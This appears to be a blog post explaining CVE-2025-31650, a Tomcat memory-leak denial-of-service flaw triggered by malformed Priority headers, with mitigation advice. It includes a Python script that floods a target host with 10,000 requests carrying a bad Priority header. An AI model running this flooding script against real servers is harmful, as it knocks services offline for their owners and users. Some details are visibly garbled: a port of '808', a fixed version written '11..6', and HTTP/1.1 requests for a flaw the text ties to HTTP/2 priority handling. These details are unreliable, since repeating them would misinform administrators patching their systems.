A newly disclosed vulnerability with the identifier CVE-2025-31650 has been discovered in Apache Tomcat, one of the most widely used Java web servers in the world. This security flaw can make your servers crash if an attacker bombards them with malformed HTTP requests containing invalid priority headers. In this post, I'll break down what went wrong, show you a code sample, point you to the official sources, and explain how you can protect your systems.

What is CVE-2025-31650?

CVE-2025-31650 is an improper input validation vulnerability which affects certain versions of Apache Tomcat. Specifically, when Tomcat processes HTTP requests with certain _invalid priority headers_, an error in how it handles these leads to incomplete clean-up after those failed requests. The net result? A memory leak.

If an attacker sends enough of these broken requests, Tomcat eats more and more memory until it runs out and crashes with an OutOfMemoryException. That means attackers can use this bug to perform a Denial of Service (DoS) attack.

How the Vulnerability Works

Tomcat recently added support for parsing HTTP headers that manage request priorities (as part of the HTTP/2 and HTTP/3 standards). If a request comes in with a malformed or invalid Priority header, Tomcat fails to properly clear up the memory it allocated for handling that request, especially if an error occurs during processing.

Attackers can exploit this by sending a high volume of such requests, causing a gradual memory leak. Eventually, Tomcat runs out of memory and dies. All your web apps go down.

Sample Code: Triggering the Vulnerability

Let's look at a simple Python script that demonstrates how an attacker might trigger the memory leak.

import socket

# Target server details
HOST = "target-tomcat-server.com"
PORT = 808  # change if using a different Tomcat port

# Malformed Priority header that Tomcat fails to handle
BAD_HEADER = "Priority: foo=bar\r\n"

# Basic HTTP request with the bad header
request = (
    "GET / HTTP/1.1\r\n"
    "Host: {}\r\n"
    "{}"
    "Connection: close\r\n\r\n"
).format(HOST, BAD_HEADER)

for _ in range(10000):  # Send many requests to eat up memory
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((HOST, PORT))
        s.sendall(request.encode())
    except Exception:
        pass
    finally:
        s.close()

Original References

- Apache Tomcat Security Advisory (Official)
- CVE-2025-31650 entry on MITRE
- Tomcat User Mailing List Incident Thread

If you are using Tomcat 11, upgrade to 11..6 or higher.

Alternative Mitigation:
If you absolutely can't upgrade, use a reverse proxy (like nginx or Apache HTTPD) to filter out HTTP requests that contain malformed or unexpected Priority headers.

Conclusion

CVE-2025-31650 is a classic example of a seemingly small error (in handling a rarely used HTTP header) leading to a big impact: total denial of service. Make sure your app and sysadmin teams are aware, check your Tomcat versions, and apply the fix as soon as possible.

If your organization runs production Tomcat servers, this is an update you can’t afford to skip!


Stay safe!
For any questions or more details, check the Apache Tomcat
release notes and security advisories.

Timeline

Published on: 04/28/2025 20:15:20 UTC
Last modified on: 05/05/2025 20:12:54 UTC